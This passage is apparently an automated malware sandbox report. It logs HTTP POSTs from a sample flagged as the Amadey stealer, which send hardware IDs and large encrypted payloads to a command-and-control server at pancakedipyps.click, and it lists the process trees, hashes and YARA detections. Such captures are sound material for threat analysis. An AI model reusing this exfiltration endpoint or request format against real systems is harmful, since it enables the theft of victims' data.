cfL4;desc="?proto=TCP&rtt=17474&min_rtt=1596&rtt_var=10130&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2849&recv_bytes=16033&delivery_rate=1829573&cwnd=207&unsent_bytes=0&cid=1570f99318dc956a&ts=2164&x=0"
2024-12-18 10:48:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:48:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49978	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:19 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GKNINE9LBXH7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19926 Host: pancakedipyps.click
2024-12-18 10:48:19 UTC	15331	OUT	Data Raw: 2d 2d 47 4b 4e 49 4e 45 39 4c 42 58 48 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 31 36 42 30 33 45 37 42 33 36 33 41 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 4b 4e 49 4e 45 39 4c 42 58 48 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 4b 4e 49 4e 45 39 4c 42 58 48 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 47 4b 4e 49 4e 45 39 4c 42 58 48 37 0d 0a 43 Data Ascii: --GKNINE9LBXH7Content-Disposition: form-data; name="hwid"F716B03E7B363AF1AC8923850305D13E--GKNINE9LBXH7Content-Disposition: form-data; name="pid"3--GKNINE9LBXH7Content-Disposition: form-data; name="lid"FATE99--test--GKNINE9LBXH7C
2024-12-18 10:48:19 UTC	4595	OUT	Data Raw: 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-18 10:48:20 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u90fdoeh4ba661kh262dnodea2; expires=Sun, 13-Apr-2025 04:34:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kfzwc2hSMLzkIzJO4jT3ijr95c8OlrfjCmoKhX7aFW%2FaWSJEU%2Bt12S8a6U9q8jGvYeVjKAm28YZ5Ht%2BngAegUdOj4Uyl%2Ffo4cyEQMufmAdiXUNBhw4l5HMQdAFc0YDRo7QH0R8ho"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e9471ca7a78d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1786&rtt_var=706&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=20885&delivery_rate=1511387&cwnd=147&unsent_bytes=0&cid=a83317591d0eb4e8&ts=1502&x=0"
2024-12-18 10:48:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:48:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49990	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PRO4VUDR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1232 Host: pancakedipyps.click
2024-12-18 10:48:23 UTC	1232	OUT	Data Raw: 2d 2d 50 52 4f 34 56 55 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 31 36 42 30 33 45 37 42 33 36 33 41 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 52 4f 34 56 55 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 52 4f 34 56 55 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 50 52 4f 34 56 55 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --PRO4VUDRContent-Disposition: form-data; name="hwid"F716B03E7B363AF1AC8923850305D13E--PRO4VUDRContent-Disposition: form-data; name="pid"1--PRO4VUDRContent-Disposition: form-data; name="lid"FATE99--test--PRO4VUDRContent-Dispositi
2024-12-18 10:48:25 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=74slke787hj7iimsvfhh4bdufv; expires=Sun, 13-Apr-2025 04:35:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B8i8ekv8BlOuJ1VraK41mVhqkXecZSeL3BYi2nlKrQXMz4IrMHOmmGq6F%2B%2Fk2r%2Fr1YkvTyegzVKJ%2FChzf2SPtSIyV4Ac1ZsP6dmVfgnYSOUOnNyGBfljV%2BCgdjy7mdwwkgS6fY41"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e9489cd3180d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&min_rtt=1476&rtt_var=569&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2142&delivery_rate=1894873&cwnd=230&unsent_bytes=0&cid=ed05b783524bd474&ts=1977&x=0"
2024-12-18 10:48:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:48:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50000	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:27 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0Z7WEBKP4WS9XZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571932 Host: pancakedipyps.click
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 2d 2d 30 5a 37 57 45 42 4b 50 34 57 53 39 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 31 36 42 30 33 45 37 42 33 36 33 41 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 5a 37 57 45 42 4b 50 34 57 53 39 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 5a 37 57 45 42 4b 50 34 57 53 39 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 5a 37 57 45 42 4b 50 34 Data Ascii: --0Z7WEBKP4WS9XZContent-Disposition: form-data; name="hwid"F716B03E7B363AF1AC8923850305D13E--0Z7WEBKP4WS9XZContent-Disposition: form-data; name="pid"1--0Z7WEBKP4WS9XZContent-Disposition: form-data; name="lid"FATE99--test--0Z7WEBKP4
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 24 a9 f4 f5 55 cb 8b 66 6a 05 5f ac 7b fa 3d b9 3f 26 e7 Data Ascii: f16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4JJ1$Ufj_{=?&
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 f2 c1 7e ef a0 20 d8 af 71 f2 d9 0e 23 ef 4f fb 30 30 b7 Data Ascii: ?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#~ q#O00
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 d0 dd 3c cc 59 04 50 42 52 f0 d7 a4 8e 27 f3 57 65 4a 00 Data Ascii: K_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5<YPBR'WeJ
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a a7 23 88 ec 8b 3e d6 9b b3 1f 37 c3 75 b9 3b 6b 15 54 d8 Data Ascii: DvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j#>7u;kT
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 34 bc be 0d b6 cb 46 e5 21 b2 fa e2 41 6c e7 5f c9 c9 5f Data Ascii: ~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG4F!Al__
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be 37 95 02 f1 da e2 b2 6b 4a 7b 51 f8 e8 d5 c2 47 15 a8 ec Data Ascii: GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[7kJ{QG
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 c3 fa 43 4c 2f 89 c7 95 65 92 40 88 e9 28 4d 67 a2 9b f4 Data Ascii: 9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2CL/e@(Mg
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba b7 2b 13 f4 82 00 01 ee 3b 6d 41 b9 1f db ce 6a da 45 22 Data Ascii: <8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP+;mAjE"
2024-12-18 10:48:27 UTC	15331	OUT	Data Raw: d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 66 cb f7 9c 2b 6f 14 97 37 59 31 23 9d 13 3f 5c 04 86 67 Data Ascii: -6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~f+o7Y1#?\g
2024-12-18 10:48:33 UTC	1054	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nmdgh6cr1f0dr29cl5las87oco; expires=Sun, 13-Apr-2025 04:35:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4cgKdczGaSeqrY6cA9hM%2BCbWHX%2BbnWhF%2BufpVSTaMDZynRPQKp%2FCY7AzyYz%2FVccmWj0c1POhhQhB4Ud%2BA%2Fli4h3MQcsuHzue15VIAGwv9gvTcviv8sE6j0oZv9LrtHV%2FF17nECfp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e94a42d9f42b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1599&rtt_var=604&sent=362&recv=592&lost=0&retrans=0&sent_bytes=2849&recv_bytes=574478&delivery_rate=1803582&cwnd=214&unsent_bytes=0&cid=457864391d7179cc&ts=6978&x=0"

Target ID:	0
Start time:	05:46:23
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\random.exe_Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe_Y.exe"
Imagebase:	0xa0000
File size:	2'985'472 bytes
MD5 hash:	5C4D6B420293FBF347F649016FAB86F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2142098174.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:46:26
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb80000
File size:	2'985'472 bytes
MD5 hash:	5C4D6B420293FBF347F649016FAB86F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2171173391.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:46:26
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb80000
File size:	2'985'472 bytes
MD5 hash:	5C4D6B420293FBF347F649016FAB86F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2172004233.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:47:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb80000
File size:	2'985'472 bytes
MD5 hash:	5C4D6B420293FBF347F649016FAB86F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
